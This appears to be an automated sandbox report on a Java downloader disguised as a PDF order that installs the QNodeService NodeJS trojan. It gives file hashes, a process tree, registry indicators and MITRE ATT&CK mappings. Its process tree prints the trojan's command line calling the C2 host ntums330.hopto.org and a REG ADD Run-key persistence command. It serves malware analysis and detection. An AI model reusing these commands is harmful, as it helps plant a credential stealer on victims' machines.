qnodeservice | 46a1aaf4f612f2437a760ed1a5717b24c8510fe5113dfdee451d4e7ba2fc78e4

General

Target

Our New Order Oct 19 2020 at 2.80_PVV440_PDF.jar
Size

81KB
MD5

7246a4e4864624b0cd3067f20cb125d9
SHA1

e9ac5b2ec4ac5b137452ae496ac7fe82015d77fd
SHA256

46a1aaf4f612f2437a760ed1a5717b24c8510fe5113dfdee451d4e7ba2fc78e4
SHA512

7b815956b1d07ed60ba197ac6f82ab14a445aac052e73f5cf1599827d898f67470dac5d5f5ca94d6cfd837c7b37336070390de46add687bc4f8d5f9ded8d312e

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2520	node.exe
4008	node.exe
2364	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\2edca3f7-596d-4bbe-ba71-905b6208c3c2 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad99-173.dat	js
behavioral2/files/0x000100000001ad99-177.dat	js
behavioral2/files/0x000100000001ad99-181.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	wtfismyip.com
19	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2520	node.exe
2520	node.exe
2520	node.exe
2520	node.exe
4008	node.exe
4008	node.exe
4008	node.exe
4008	node.exe
2364	node.exe
2364	node.exe
2364	node.exe
2364	node.exe
2364	node.exe
2364	node.exe
2364	node.exe
2364	node.exe
2364	node.exe
2364	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3020 wrote to memory of 1676	3020	java.exe	76
PID 3020 wrote to memory of 1676	3020	java.exe	76
PID 1676 wrote to memory of 2520	1676	javaw.exe	78
PID 1676 wrote to memory of 2520	1676	javaw.exe	78
PID 2520 wrote to memory of 4008	2520	node.exe	80
PID 2520 wrote to memory of 4008	2520	node.exe	80
PID 4008 wrote to memory of 2364	4008	node.exe	81
PID 4008 wrote to memory of 2364	4008	node.exe	81
PID 2364 wrote to memory of 1856	2364	node.exe	83
PID 2364 wrote to memory of 1856	2364	node.exe	83
PID 1856 wrote to memory of 608	1856	cmd.exe	84
PID 1856 wrote to memory of 608	1856	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Our New Order Oct 19 2020 at 2.80_PVV440_PDF.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3020
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\9dbbfe9c.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1676
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain ntums330.hopto.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2520
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_je8jAg\boot.js --hub-domain ntums330.hopto.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4008
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_je8jAg\boot.js --hub-domain ntums330.hopto.org
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2364
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "2edca3f7-596d-4bbe-ba71-905b6208c3c2" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1856
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "2edca3f7-596d-4bbe-ba71-905b6208c3c2" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:608

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2364-182-0x0000029798300000-0x0000029798301000-memory.dmp

Filesize
4KB

Download
memory/2520-174-0x000002FE65D80000-0x000002FE65D81000-memory.dmp

Filesize
4KB

Download
memory/4008-178-0x000001EFF2540000-0x000001EFF2541000-memory.dmp

Filesize
4KB

Download

Analysis

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